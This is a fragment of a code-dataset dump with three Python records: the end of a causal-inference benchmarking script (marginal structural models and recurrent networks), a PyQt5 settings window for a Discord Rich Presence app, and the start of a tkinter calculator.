train[:,:,1:(1+k)]\r\n x_data = train[:,:,(1+k+r):(1+k+r+p)]\r\n a_data_po = a_po[v,:,:,:]\r\n y_data = y_data.to(device)\r\n a_data = a_data.to(device)\r\n x_data = x_data.to(device)\r\n a_data_po = a_data_po.to(device)\r\n # Forward pass\r\n x_out, y_out, y_po_out, conf = mod_DTA(x_data, a_data, a_data_po)\r\n y_po_out = y_data - y_out + y_po_out\r\n w1 = torch.empty(T-1,2*(rank+k))\r\n w2 = torch.empty(T-1,2*rank)\r\n for t in range(1,T):\r\n mod_linr = LinearRegression()\r\n Y = y_po_out[:,t,:].detach()\r\n A = a_data[:,t,:]\r\n A1 = a_data[:,t-1,:]\r\n mat1 = torch.cat((A, A1, conf[:,t,:].detach(), conf[:,t-1,:].detach()), dim=1)\r\n mat2 = torch.cat((conf[:,t,:].detach(), conf[:,t-1,:].detach()), dim=1)\r\n w1[t-1,:] = torch.tensor(mod_linr.fit(mat1.cpu().detach().numpy(),Y.cpu().numpy()).coef_)\r\n w2[t-1,:] = torch.tensor(mod_linr.fit(mat2.cpu().detach().numpy(),Y.cpu().numpy()).coef_)\r\n Y = y_po_out[:,1:T,0].detach()\r\n A = a_data[:,1:T,:]\r\n Alag = a_data[:,0:(T-1),:]\r\n L = conf[:,1:T,:]\r\n Llag = conf[:,0:(T-1),:]\r\n w1 = w1.to(device)\r\n w2 = w2.to(device)\r\n loss_kl = obj2(Y, A, Alag, L, Llag, w1, w2, alpha=alpha)\r\n # Backward and optimize\r\n loss_kl.backward()\r\n optimizer.step()\r\n optimizer.zero_grad()\r\n if (epoch+1) % (n_epochs/100) == 0:\r\n print (f'Epoch [{epoch+1}/{n_epochs}], Loss_x: {loss_x.item():.4f}, Loss_kl: {loss_kl.item():.4f}')\r\n\r\n# Predict confounders with trained model\r\ntrain = train.to(device)\r\ntest = test.to(device)\r\n_, _, _, conf_DTA = mod_DTA(train[:,:,(1+k+r):(1+k+r+p)], train[:,:,1:(1+k)], 1-train[:,:,1:(1+k)])\r\n_, _, _, conf_DTA_test = mod_DTA(test[:,0:(T-tau+1),(1+k+r):(1+k+r+p)], test[:,0:(T-tau+1),1:(1+k)], \r\n test[:,0:(T-tau+1),1:(1+k)])\r\nconf_DTA = conf_DTA.cpu().detach().numpy()\r\nconf_DTA_test = conf_DTA_test.cpu().detach().numpy()\r\n\r\n#%% Marginal Structural Models (Benchmark 1)\r\n\r\n# Description: continuous outcome, multivariate binary treatment, continuous or binary covariates\r\n# Data is of shape (n,T,d), where d=1 for outcome, k for treatment, (r or p) for time covariates and s for static features\r\n\r\ndef get_SW(Y, A, L, tau):\r\n \r\n n,T,k = A.shape\r\n p = L.shape[2]\r\n \r\n # Marginal probability of individual treatment given treatment history (Logistic regression)\r\n fm_At = np.empty(shape=(n,tau,2*k)) \r\n for i in range(k): \r\n for t in range(T-tau,T):\r\n y = A[:,t,i]\r\n X = np.empty(shape=(n,k))\r\n for m in range(k):\r\n X[:,m] = np.sum(A[:,0:t,m], axis=1)\r\n sc_X = StandardScaler()\r\n X = sc_X.fit_transform(X)\r\n mod_logr = LogisticRegression(penalty='none', max_iter=200)\r\n mod_logr.fit(X,y)\r\n fm_At[:,t-(T-tau),(2*i):(2*i+2)] = mod_logr.predict_proba(X) \r\n \r\n # Marginal probability of individual treatment given patient history\r\n fm_AtHt = np.empty(shape=(n,tau,2*k))\r\n for i in range(k):\r\n for t in range(T-tau,T):\r\n y = A[:,t,i]\r\n X = np.empty(shape=(n,k+2*p+1)) \r\n for m in range(k):\r\n X[:,m] = np.sum(A[:,0:t,m], axis=1)\r\n for m in range(p):\r\n X[:,(k+m)] = L[:,t-1,m]\r\n for m in range(p):\r\n X[:,(k+p+m)] = L[:,t,m]\r\n X[:,(k+2*p)] = Y[:,t-1]\r\n sc_X = StandardScaler()\r\n X = sc_X.fit_transform(X)\r\n mod_logr = LogisticRegression(penalty='none', max_iter=200)\r\n mod_logr.fit(X,y)\r\n fm_AtHt[:,t-(T-tau),(2*i):(2*i+2)] = mod_logr.predict_proba(X) \r\n \r\n # Joint probability of treatment given treatment history (product of marginals)\r\n fm_A = np.ones(shape=(n,tau))\r\n for i in range(n):\r\n for t in range(T-tau,T):\r\n for j in range(k):\r\n if A[i,t,j] == 0:\r\n fm_A[i,t-(T-tau)] *= fm_At[i,t-(T-tau),2*j]\r\n else:\r\n fm_A[i,t-(T-tau)] *= fm_At[i,t-(T-tau),2*j+1]\r\n \r\n # Joint probability of treatment given patient history (product of marginals)\r\n fm_AH = np.ones(shape=(n,tau))\r\n for i in range(n):\r\n for t in range(T-tau,T):\r\n for j in range(k):\r\n if A[i,t,j] == 0:\r\n fm_AH[i,t-(T-tau)] *= fm_AtHt[i,t-(T-tau),2*j]\r\n else:\r\n fm_AH[i,t-(T-tau)] *= fm_AtHt[i,t-(T-tau),2*j+1]\r\n \r\n # Stabilized IP weights for each time-step from t,...,T (T = t + tau)\r\n SW_tau = fm_A/fm_AH\r\n \r\n # Cumulative stabilized weights for period t,...,T (product of weights for given period)\r\n SW_t = np.ones(n)\r\n for i in range(n):\r\n for t in range(tau):\r\n SW_t[i] *= SW_tau[i,t]\r\n \r\n return SW_t\r\n\r\n# MSM comparisons observed and counterfactual\r\ns_ahead = tau\r\n\r\n# MSM \r\nsw = get_SW(Y=d_train[:,:,0], A=d_train[:,:,1:(1+k)], \r\n L=d_train[:,:,(1+k+r):(1+k+r+p)], tau=tau) \r\nmod_linr = LinearRegression()\r\ny_train = d_train[:,(T-1+s_ahead-tau),0]\r\nX_train = np.empty(shape=(d_train.shape[0],2*k+2*p+1))\r\nfor i in range(k):\r\n X_train[:,i] = np.sum(d_train[:,(T-tau):(T+s_ahead-tau),1+i], axis=1)\r\nfor i in range(k):\r\n X_train[:,k+i] = np.sum(d_train[:,0:(T-tau),1+i], axis=1)\r\nfor i in range(p):\r\n X_train[:,2*k+i] = d_train[:,T-tau,1+k+r+i]\r\nfor i in range(p):\r\n X_train[:,2*k+p+i] = d_train[:,T-tau-1,1+k+r+i]\r\nX_train[:,(2*k+2*p)] = d_train[:,T-tau-1,0]\r\nmod_linr.fit(X_train, y_train, sample_weight=sw)\r\n\r\ny_test = d_test_cf[:,(T-1+s_ahead-tau),0] \r\nX_test = np.empty(shape=(d_test_cf.shape[0],2*k+2*p+1))\r\nfor i in range(k):\r\n X_test[:,i] = np.sum(d_test_cf[:,(T-tau):(T+s_ahead-tau),1+i], axis=1)\r\nfor i in range(k):\r\n X_test[:,k+i] = np.sum(d_test_cf[:,0:(T-tau),1+i], axis=1)\r\nfor i in range(p):\r\n X_test[:,2*k+i] = d_test_cf[:,T-tau,1+k+r+i]\r\nfor i in range(p):\r\n X_test[:,2*k+p+i] = d_test_cf[:,T-tau-1,1+k+r+i]\r\nX_test[:,(2*k+2*p)] = d_test_cf[:,T-tau-1,0]\r\ny_pred = mod_linr.predict(X_test)\r\nloss1_cf = np.sqrt(np.mean((y_pred-y_test)**2))\r\nprint('Loss MSM: ', loss1_cf)\r\n\r\n# MSM + DTA\r\nsw = get_SW(Y=d_train[:,:,0], A=d_train[:,:,1:(1+k)], \r\n L=conf_DTA, tau=tau) \r\nmod_linr = LinearRegression()\r\ny_train = d_train[:,(T-1+s_ahead-tau),0]\r\nX_train = np.empty(shape=(d_train.shape[0],2*k+2*rank+1))\r\nfor i in range(k):\r\n X_train[:,i] = np.sum(d_train[:,(T-tau):(T+s_ahead-tau),1+i], axis=1)\r\nfor i in range(k):\r\n X_train[:,k+i] = np.sum(d_train[:,0:(T-tau),1+i], axis=1)\r\nfor i in range(rank):\r\n X_train[:,2*k+i] = conf_DTA[:,T-tau,i]\r\nfor i in range(rank):\r\n X_train[:,2*k+rank+i] = conf_DTA[:,T-tau-1,i]\r\nX_train[:,(2*k+2*rank)] = d_train[:,T-tau-1,0]\r\nmod_linr.fit(X_train, y_train, sample_weight=sw)\r\n\r\ny_test = d_test_cf[:,(T-1+s_ahead-tau),0] \r\nX_test = np.empty(shape=(d_test_cf.shape[0],2*k+2*rank+1))\r\nfor i in range(k):\r\n X_test[:,i] = np.sum(d_test_cf[:,(T-tau):(T+s_ahead-tau),1+i], axis=1)\r\nfor i in range(k):\r\n X_test[:,k+i] = np.sum(d_test_cf[:,0:(T-tau),1+i], axis=1)\r\nfor i in range(rank):\r\n X_test[:,2*k+i] = conf_DTA_test[:,T-tau,i]\r\nfor i in range(rank):\r\n X_test[:,2*k+rank+i] = conf_DTA_test[:,T-tau-1,i]\r\nX_test[:,(2*k+2*rank)] = d_test_cf[:,T-tau-1,0]\r\ny_pred = mod_linr.predict(X_test)\r\nloss2_cf = np.sqrt(np.mean((y_pred-y_test)**2))\r\nprint('Loss DTA: ', loss2_cf)\r\n\r\n# MSM oracle\r\nsw = get_SW(Y=d_train[:,:,0], A=d_train[:,:,1:(1+k)], \r\n L=d_train[:,:,(1+k):(1+k+r)], tau=tau) \r\nmod_linr = LinearRegression()\r\ny_train = d_train[:,(T-1+s_ahead-tau),0]\r\nX_train = np.empty(shape=(d_train.shape[0],2*k+2*r+1))\r\nfor i in range(k):\r\n X_train[:,i] = np.sum(d_train[:,(T-tau):(T+s_ahead-tau),1+i], axis=1)\r\nfor i in range(k):\r\n X_train[:,k+i] = np.sum(d_train[:,0:(T-tau),1+i], axis=1)\r\nfor i in range(r):\r\n X_train[:,2*k+i] = d_train[:,T-tau,1+k+i]\r\nfor i in range(r):\r\n X_train[:,2*k+r+i] = d_train[:,T-tau-1,1+k+i]\r\nX_train[:,(2*k+2*r)] = d_train[:,T-tau-1,0]\r\nmod_linr.fit(X_train, y_train, sample_weight=sw)\r\n\r\ny_test = d_test_cf[:,(T-1+s_ahead-tau),0] \r\nX_test = np.empty(shape=(d_test_cf.shape[0],2*k+2*r+1))\r\nfor i in range(k):\r\n X_test[:,i] = np.sum(d_test_cf[:,(T-tau):(T+s_ahead-tau),1+i], axis=1)\r\nfor i in range(k):\r\n X_test[:,k+i] = np.sum(d_test_cf[:,0:(T-tau),1+i], axis=1)\r\nfor i in range(r):\r\n X_test[:,2*k+i] = d_test_cf[:,T-tau,1+k+i]\r\nfor i in range(r):\r\n X_test[:,2*k+r+i] = d_test_cf[:,T-tau-1,1+k+i]\r\nX_test[:,(2*k+2*r)] = d_test_cf[:,T-tau-1,0]\r\ny_pred = mod_linr.predict(X_test)\r\nloss3_cf = np.sqrt(np.mean((y_pred-y_test)**2))\r\nprint('Loss MSM oracle: ', loss3_cf)\r\n\r\n#%% Recurrent Marginal Structural Networks (Benchmark 2)\r\n\r\n# Description: continuous outcome, binary treatment, continuous or binary covariates\r\n# Data is of shape (n,T,d), where d=1 for outcome, k for treatment, p for time covariates \r\n# Procedure: estimate IPTW and re-weight data, estimate encoder, and estimate decoder with pre-trained encoder\r\n\r\ndef RMSN(Y_train, A_train, L_train, tau, Y_test, A_test, L_test):\r\n \r\n n,T,k = A_train.shape\r\n p = L_train.shape[2]\r\n \r\n # Data for estimating propensity weights (treatment classification)\r\n data_train = np.concatenate([Y_train, A_train, L_train], axis=2)\r\n data_pw = data_train\r\n a_class = np.empty(shape=(n,T,1))\r\n data_pw = np.concatenate([data_pw, a_class], axis=2)\r\n\r\n for pat in range(n):\r\n for t in range(T):\r\n for v in range(2**k):\r\n if np.array_equal(data_pw[pat,t,1:(1+k)], a_comb[v]):\r\n data_pw[pat,t,1+k+p] = v\r\n\r\n data_pw = torch.from_numpy(data_pw.astype(np.float32))\r\n train_loader_pw = DataLoader(dataset=data_pw, batch_size=math.ceil(n/20), shuffle=True)\r\n\r\n # Propensity network\r\n # Description: estimating stabilized propensity weights by predicting treatment using LSTM architecture\r\n\r\n # Device configuration\r\n device = torch.device('cuda')\r\n\r\n class PropNet(nn.Module):\r\n\r\n def __init__(self, input_size, hidden_size, num_classes, num_layers):\r\n super(PropNet, self).__init__()\r\n self.num_layers = num_layers\r\n self.hidden_size = hidden_size\r\n self.lstm = nn.LSTM(input_size, hidden_size, num_layers, batch_first=True)\r\n # -> x needs to be: (batch_size, seq_length, input_size)\r\n self.fc = nn.Linear(hidden_size, num_classes)\r\n\r\n def forward(self, x):\r\n h0 = torch.zeros(self.num_layers, x.size(0), self.hidden_size).to(device) \r\n c0 = torch.zeros(self.num_layers, x.size(0), self.hidden_size).to(device) \r\n # x: (batch_size, seq_len, input_size), h0: (num_layers, batch_size, hidden_size1)\r\n\r\n # Forward propagate RNN\r\n out, _ = self.lstm(x, (h0,c0)) \r\n # out: tensor of shape (batch_size, seq_length, hidden_size1) - Outputs are hidden states\r\n\r\n out = self.fc(out)\r\n # out: tensor of shape (batch_size, seq_length, num_classes)\r\n\r\n return out \r\n\r\n # Estimate numerator\r\n mod_PN_num = PropNet(input_size=k, hidden_size=k, num_classes=2**k, num_layers=1).to(device)\r\n obj = nn.CrossEntropyLoss()\r\n optimizer = torch.optim.Adam(mod_PN_num.parameters(), lr=0.001) \r\n\r\n # Train \r\n n_epochs = 100\r\n for epoch in range(n_epochs):\r\n for batch in train_loader_pw: \r\n y_data = batch[:,1:T,(1+k+p)]\r\n y_data = y_data.long()\r\n x_data = batch[:,0:(T-1),1:(1+k)]\r\n y_data = y_data.to(device)\r\n x_data = x_data.to(device)\r\n # Forward pass\r\n out = mod_PN_num(x_data)\r\n out = torch.transpose(out,1,2)\r\n loss = obj(out, y_data)\r\n # Backward and optimize\r\n loss.backward()\r\n optimizer.step()\r\n optimizer.zero_grad()\r\n if (epoch+1) % (n_epochs) == 0:\r\n print (f'Epoch [{epoch+1}/{n_epochs}], Loss: {loss.item():.4f}')\r\n\r\n # Estimate denominator\r\n mod_PN_den = PropNet(input_size=1+p+k, hidden_size=1+p+k, num_classes=2**k, num_layers=1).to(device)\r\n obj = nn.CrossEntropyLoss()\r\n optimizer = torch.optim.Adam(mod_PN_den.parameters(), lr=0.001) \r\n\r\n # Train \r\n n_epochs = 100\r\n for epoch in range(n_epochs):\r\n for batch in train_loader_pw: \r\n y_data = batch[:,1:T,(1+k+p)]\r\n y_data = y_data.long()\r\n x_data = torch.cat((batch[:,0:(T-1),0:1], batch[:,0:(T-1),1:(1+k)],\r\n batch[:,1:T,(1+k):(1+k+p)]), dim=2)\r\n y_data = y_data.to(device)\r\n x_data = x_data.to(device)\r\n # Forward pass\r\n out = mod_PN_den(x_data)\r\n out = torch.transpose(out,1,2)\r\n loss = obj(out, y_data)\r\n # Backward and optimize\r\n loss.backward()\r\n optimizer.step()\r\n optimizer.zero_grad()\r\n if (epoch+1) % (n_epochs) == 0:\r\n print (f'Epoch [{epoch+1}/{n_epochs}], Loss: {loss.item():.4f}')\r\n\r\n # Calculate weights\r\n data_pw = data_pw.to(device)\r\n\r\n fm_At = mod_PN_num(data_pw[:,0:(T-1),1:(1+k)])\r\n fm_At = nn.Softmax(dim=2)(fm_At)\r\n fm_At = fm_At.cpu().detach().numpy()\r\n fm_A = np.ones(shape=(data_pw.shape[0],tau))\r\n for i in range(data_pw.shape[0]):\r\n for t in range(T-tau,T):\r\n for v in range(2**k):\r\n if np.array_equal(data_train[i,t,1:(1+k)], a_comb[v]):\r\n fm_A[i,t-(T-tau)] = fm_At[i,t-1,v] \r\n\r\n fm_AtHt = mod_PN_den(torch.cat((data_pw[:,0:(T-1),0:1], data_pw[:,0:(T-1),1:(1+k)],\r\n data_pw[:,1:T,(1+k):(1+k+p)]), dim=2))\r\n fm_AtHt = nn.Softmax(dim=2)(fm_AtHt)\r\n fm_AtHt = fm_AtHt.cpu().detach().numpy()\r\n fm_AH = np.ones(shape=(data_pw.shape[0],tau))\r\n for i in range(data_pw.shape[0]):\r\n for t in range(T-tau,T):\r\n for v in range(2**k):\r\n if np.array_equal(data_train[i,t,1:(1+k)], a_comb[v]):\r\n fm_AH[i,t-(T-tau)] = fm_AtHt[i,t-1,v] \r\n\r\n SW_tau = fm_A/fm_AH\r\n SW_t = np.ones(data_pw.shape[0])\r\n for i in range(data_pw.shape[0]):\r\n for t in range(tau):\r\n SW_t[i] *= SW_tau[i,t]\r\n \r\n # Data for estimating encoder (weights added to data)\r\n data_en = data_train\r\n SW_rmsn = torch.from_numpy(SW_t.astype(np.float32))\r\n SW_rmsn = SW_rmsn.to(device)\r\n\r\n data_en = torch.from_numpy(data_en.astype(np.float32))\r\n train_loader_en = DataLoader(dataset=data_en, batch_size=math.ceil(n/20), shuffle=False)\r\n \r\n # Encoder\r\n # Description: estimating one-step-ahead prediction to build good representation of patient history\r\n\r\n class Encoder(nn.Module):\r\n\r\n def __init__(self, input_size, hidden_size, y_size, num_layers):\r\n super(Encoder, self).__init__()\r\n self.num_layers = num_layers\r\n self.hidden_size = hidden_size\r\n self.lstm = nn.LSTM(input_size, hidden_size, num_layers, batch_first=True)\r\n # -> x needs to be: (batch_size, seq_length, input_size)\r\n self.fc = nn.Linear(hidden_size, y_size)\r\n\r\n def forward(self, x):\r\n h0 = torch.zeros(self.num_layers, x.size(0), self.hidden_size).to(device) \r\n c0 = torch.zeros(self.num_layers, x.size(0), self.hidden_size).to(device) \r\n # x: (batch_size, seq_len, input_size), h0: (num_layers, batch_size, hidden_size1)\r\n\r\n # Forward propagate RNN\r\n out, _ = self.lstm(x, (h0,c0)) \r\n # out: tensor of shape (batch_size, seq_length, hidden_size) - Outputs are hidden states\r\n\r\n out = out[:, -1, :]\r\n # out: tensor of shape (batch_size, hidden_size) - Outputs are hidden states\r\n\r\n h_out = out\r\n y_out = self.fc(out)\r\n # out: tensor of shape (batch_size, y_size)\r\n\r\n return y_out, h_out \r\n\r\n mod_RMSN_en = Encoder(input_size=1+p+k, hidden_size=1+p+k, y_size=1, num_layers=1).to(device)\r\n\r\n def obj(y_pred, y_true, w):\r\n loss = torch.mean(w*(y_pred-y_true)**2)\r\n return loss\r\n\r\n optimizer = torch.optim.Adam(mod_RMSN_en.parameters(), lr=0.001) \r\n\r\n # Train \r\n n_epochs = 100\r\n for epoch in range(n_epochs):\r\n for i,batch in enumerate(train_loader_en): \r\n y_data = batch[:,T-tau-1,0]\r\n x_data = torch.cat((torch.cat((torch.zeros(batch.size(0),1,1), batch[:,0:(T-tau-1),0:1]), dim=1), \r\n batch[:,0:(T-tau),1:(1+k)], batch[:,0:(T-tau),(1+k):(1+k+p)]), dim=2)\r\n y_data = y_data.to(device)\r\n x_data = x_data.to(device)\r\n # Forward pass\r\n out, _ = mod_RMSN_en(x_data)\r\n loss = obj(out[:,0], y_data, SW_rmsn[(i*batch.size(0)):((i+1)*batch.size(0))])\r\n # Backward and optimize\r\n loss.backward()\r\n optimizer.step()\r\n optimizer.zero_grad()\r\n if (epoch+1) % (n_epochs) == 0:\r\n print (f'Epoch [{epoch+1}/{n_epochs}], Loss: {loss.item():.4f}')\r\n\r\n # Decoder\r\n # Description: predicting Y using the treatment policy and history representation from encoder network\r\n\r\n class Decoder(nn.Module):\r\n\r\n def __init__(self, input_size, hidden_size, y_size, num_layers, tau):\r\n super(Decoder, self).__init__()\r\n self.num_layers = num_layers\r\n self.hidden_size = hidden_size\r\n self.lstm = nn.LSTM(input_size, hidden_size, num_layers, batch_first=True)\r\n # -> x needs to be: (batch_size, seq_length, input_size)\r\n self.fc = nn.Linear(hidden_size, y_size)\r\n\r\n def forward(self, x):\r\n h0 = torch.zeros(self.num_layers, x.size(0), self.hidden_size).to(device) \r\n c0 = torch.zeros(self.num_layers, x.size(0), self.hidden_size).to(device) \r\n # x: (batch_size, seq_len, input_size), h0: (num_layers, batch_size, hidden_size1)\r\n\r\n # Forward propagate RNN\r\n out, _ = self.lstm(x, (h0,c0)) \r\n # out: tensor of shape (batch_size, seq_length, hidden_size) - Outputs are hidden states\r\n\r\n y_out = self.fc(out)\r\n # out: tensor of shape (batch_size, seq_length, y_size)\r\n\r\n return y_out \r\n\r\n mod_RMSN_de = Decoder(input_size=1+p+2*k, hidden_size=1+p+2*k, y_size=1, tau = tau, num_layers=1).to(device)\r\n\r\n def obj(y_pred, y_true, w):\r\n loss = torch.mean(w*torch.mean((y_pred-y_true)**2, dim=1))\r\n return loss\r\n\r\n optimizer = torch.optim.Adam(mod_RMSN_de.parameters(), lr=0.001) \r\n\r\n # Train \r\n n_epochs = 100\r\n for epoch in range(n_epochs):\r\n for i,batch in enumerate(train_loader_en): \r\n y_data = batch[:,(T-tau):T,0]\r\n y_data = y_data.to(device)\r\n x1_data = torch.cat((torch.cat((torch.zeros(batch.size(0),1,1), batch[:,0:(T-tau-1),0:1]), dim=1), \r\n batch[:,0:(T-tau),1:(1+k)], batch[:,0:(T-tau),(1+k):(1+k+p)]), dim=2)\r\n x1_data = x1_data.to(device)\r\n _, out = mod_RMSN_en(x1_data)\r\n adapter = torch.empty(batch.size(0), tau, out.size(1))\r\n for j in range(batch.size(0)):\r\n for t in range(tau):\r\n adapter[j,t] = out[j] \r\n x_data = torch.cat((adapter, batch[:,(T-tau):T,1:(1+k)]), dim=2)\r\n x_data = x_data.to(device)\r\n # Forward pass\r\n out = mod_RMSN_de(x_data)\r\n loss = obj(out[:,:,0], y_data, SW_rmsn[(i*batch.size(0)):((i+1)*batch.size(0))])\r\n # Backward and optimize\r\n loss.backward()\r\n optimizer.step()\r\n optimizer.zero_grad()\r\n if (epoch+1) % (n_epochs) == 0:\r\n print (f'Epoch [{epoch+1}/{n_epochs}], Loss: {loss.item():.4f}')\r\n \r\n # Predict with the trained models\r\n Y_test, A_test = torch.from_numpy(Y_test.astype(np.float32)), torch.from_numpy(A_test.astype(np.float32))\r\n L_test = torch.from_numpy(L_test.astype(np.float32))\r\n \r\n x_en = torch.cat((torch.cat((torch.zeros(Y_test.size(0),1,1), Y_test[:,0:(T-tau-1),:]), dim=1), \r\n A_test[:,0:(T-tau),:], L_test[:,0:(T-tau),:]), dim=2)\r\n x_en = x_en.to(device)\r\n _, out = mod_RMSN_en(x_en)\r\n adapt = torch.empty(Y_test.size(0), tau, out.size(1))\r\n for j in range(Y_test.size(0)):\r\n for t in range(tau):\r\n adapt[j,t] = out[j] \r\n \r\n x_de = torch.cat((adapt, A_test[:,(T-tau):T,:]), dim=2)\r\n x_de = x_de.to(device)\r\n y_pred = mod_RMSN_de(x_de)\r\n \r\n return y_pred.cpu().detach().numpy()\r\n\r\n# RMSN comparisons observed and counterfactual\r\n\r\ns_ahead = tau\r\n# RMSN\r\ny_pred = RMSN(Y_train=d_train[:,:,0:1], A_train=d_train[:,:,1:(1+k)], \r\n L_train=d_train[:,:,(1+k+r):(1+k+r+p)], tau=tau,\r\n Y_test=d_test_cf[:,:,0:1], A_test=d_test_cf[:,:,1:(1+k)], \r\n L_test=d_test_cf[:,:,(1+k+r):(1+k+r+p)])\r\ny_pred = y_pred[:, s_ahead-1, 0]\r\ny_test = d_test_cf[:,(T-1+s_ahead-tau),0] \r\nloss1_cf = np.sqrt(np.mean((y_pred-y_test)**2))\r\nprint('Loss RMSN: ', loss1_cf)\r\n\r\n# RMSN + DTA\r\ny_pred = RMSN(Y_train=d_train[:,:,0:1], A_train=d_train[:,:,1:(1+k)], \r\n L_train=conf_DTA, tau=tau, Y_test=d_test_cf[:,:,0:1], \r\n A_test=d_test_cf[:,:,1:(1+k)], L_test=conf_DTA_test)\r\ny_pred = y_pred[:, s_ahead-1, 0]\r\ny_test = d_test_cf[:,(T-1+s_ahead-tau),0] \r\nloss2_cf = np.sqrt(np.mean((y_pred-y_test)**2))\r\nprint('Loss DTA: ', loss2_cf)\r\n\r\n# RMSN oracle\r\ny_pred = RMSN(Y_train=d_train[:,:,0:1], A_train=d_train[:,:,1:(1+k)], \r\n L_train=d_train[:,:,(1+k):(1+k+r)], tau=tau,\r\n Y_test=d_test_cf[:,:,0:1], A_test=d_test_cf[:,:,1:(1+k)], \r\n L_test=d_test_cf[:,:,(1+k):(1+k+r)])\r\ny_pred = y_pred[:, s_ahead-1, 0]\r\ny_test = d_test_cf[:,(T-1+s_ahead-tau),0] \r\nloss3_cf = np.sqrt(np.mean((y_pred-y_test)**2))\r\nprint('Loss RMSN oracle: ', loss3_cf)\r\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":33938,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"15513379","text":"from PyQt5.QtWidgets import QMainWindow\nfrom PyQt5.QtCore import pyqtSlot, pyqtSignal\nfrom data.ui.SettingsWindow import Ui_SettingsWindow\n\nfrom pypresence import Presence, ServerError\nimport json\n\n\nclass Settings_UserInterface(QMainWindow, Ui_SettingsWindow):\n onClose = pyqtSignal(bool)\n\n def __init__(self):\n super(Settings_UserInterface, self).__init__()\n\n self.setupUi(self)\n\n self.test_presence = None\n\n self.closeBySave = False\n\n json_file = open(\"data/config.json\", \"r\")\n self.config_json = json.load(json_file)\n json_file.close()\n\n json_file = open(\"data/translation.json\", \"r\", encoding=\"UTF-8\")\n self.translation = json.load(json_file)\n json_file.close()\n\n self.language = self.config_json[\"user_language\"]\n\n for language in self.translation:\n self.comboBox.addItem(self.translation[language][\"name\"])\n self.comboBox.setCurrentText(self.translation[self.config_json[\"user_language\"]][\"name\"])\n\n self.groupBox.setTitle(self.translation[self.language][\"language\"].upper())\n\n self.groupBox_2.setTitle(self.translation[self.language][\"theme\"].upper())\n self.checkBox.setText(self.translation[self.language][\"dark\"])\n self.checkBox_2.setText(self.translation[self.language][\"light\"])\n\n self.groupBox_3.setTitle(self.translation[self.language][\"personal application\"].upper())\n self.checkBox_3.setText(self.translation[self.language][\"personal app id\"])\n\n if self.config_json[\"theme\"] == \"dark\":\n self.checkBox.setChecked(True)\n self.checkBox_2.setChecked(False)\n else:\n self.checkBox.setChecked(False)\n self.checkBox_2.setChecked(True)\n\n if self.config_json[\"App_ID\"] != \"697842560844038225\":\n self.checkBox_3.setChecked(True)\n self.lineEdit.setEnabled(True)\n self.lineEdit.setText(self.config_json[\"App_ID\"])\n else:\n self.checkBox_3.setChecked(False)\n self.lineEdit.setEnabled(False)\n\n self.checkBox_3.stateChanged.connect(self.chehd)\n\n self.pushButton.clicked.connect(self.save_changes)\n\n def chehd(self):\n if self.checkBox_3.checkState():\n self.lineEdit.setEnabled(True)\n else:\n self.lineEdit.clear()\n self.lineEdit.setEnabled(False)\n\n def test_id(self):\n if not (self.lineEdit.text()): return False\n try:\n self.test_presence = Presence(self.lineEdit.text())\n self.test_presence.connect()\n self.test_presence.update(state=\"woa\")\n self.test_presence.close()\n return True\n except ServerError:\n return False\n\n def save_changes(self):\n if self.checkBox_3.checkState():\n if self.test_id():\n self.config_json[\"App_ID\"] = self.lineEdit.text()\n else:\n self.lineEdit.setStyleSheet(\"QLineEdit{\\n\"\n \" background: #616366;\\n\"\n \" border: 2px solid #bc1a26;\\n\"\n \"}\")\n return self.error_label.show()\n else:\n self.config_json[\"App_ID\"] = \"697842560844038225\"\n\n for language in self.translation:\n if self.translation[language][\"name\"] == self.comboBox.currentText():\n self.config_json[\"user_language\"] = language\n break\n\n if self.checkBox.checkState():\n self.config_json[\"theme\"] = \"dark\"\n else:\n self.config_json[\"theme\"] = \"light\"\n\n with open(\"data/config.json\", \"w\") as f:\n f.write(json.dumps(self.config_json))\n self.closeBySave = True\n self.close()\n\n @pyqtSlot()\n def closeEvent(self, event):\n self.lineEdit.setStyleSheet(\"QLineEdit{\\n\"\n \" background: #616366;\\n\"\n \" border: 2px solid #616366;\\n\"\n \"}\")\n if self.test_presence:\n self.test_presence.close()\n self.onClose.emit(self.closeBySave)\n","sub_path":"SettingsQt.py","file_name":"SettingsQt.py","file_ext":"py","file_size_in_byte":4215,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"284644650","text":"from tkinter import *\r\n\r\nfont = \"Helvetica 13\"\r\nbg1 = \"light blue\" # main color\r\nbg2 = \"light coral\" # add color\r\n\r\n\r\nclass cls_Calc(Frame):\r\n def __init__(self, master):\r\n super(cls_Calc, self).__init__(master)\r\n self.task = \"\"\r\n self.UserIn = StringVar()\r\n self.grid()\r\n self.create_widgets()\r\n\r\n def create_widgets(self):\r\n self.user_input = Entry(self, bg=bg1, bd=12,\r\n insertwidth=4, width=50,\r\n font=font, textvariable=self.UserIn, justify=RIGHT)\r\n self.user_input.grid(columnspan=4)\r\n\r\n self.user_input.insert(0, \"0\")\r\n\r\n self.button7 = Button(self, bg=bg1, bd=12, text=\"7\", width=10, pady=25, font=font,\r\n command=lambda: self.buttonClick(7))\r\n self.button7.grid(row=2, column=0, sticky=W)\r\n self.button8 = Button(self, bg=bg1, bd=12, text=\"8\", width=10, pady=25, font=font,\r\n command=lambda: self.buttonClick(8))\r\n self.button8.grid(row=2, column=1, sticky=W)\r\n self.button9 = Button(self, bg=bg1, bd=12, text=\"9\", width=10, pady=25, font=font,\r\n command=lambda: self.buttonClick(9))\r\n self.button9.grid(row=2, column=2, sticky=W)\r\n\r\n self.button4 = Button(self, bg=bg1, bd=12, text=\"4\", width=10, pady=25, font=font,\r\n command=lambda: self.buttonClick(4))\r\n self.button4.grid(row=3, column=0, sticky=W)\r\n self.button5 = Button(self, bg=bg1, bd=12, text=\"5\", width=10, pady=25, font=font,\r\n command=lambda: self.buttonClick(5))\r\n self.button5.grid(row=3, column=1, sticky=W)\r\n self.button6 = Button(self, bg=bg1, bd=12, text=\"6\", width=10, pady=25, font=font,\r\n command=lambda: self.buttonClick(6))\r\n self.button6.grid(row=3, column=2, sticky=W)\r\n\r\n self.button1 = Button(self, bg=bg1, bd=12, text=\"1\", width=10, pady=25, font=font,\r\n command=lambda: self.buttonClick(1))\r\n self.button1.grid(row=4, column=0, sticky=W)\r\n self.button2 = Button(self, bg=bg1, bd=12, text=\"2\", width=10, pady=25, font=font,\r\n command=lambda: self.buttonClick(2))\r\n self.button2.grid(row=4, column=1, 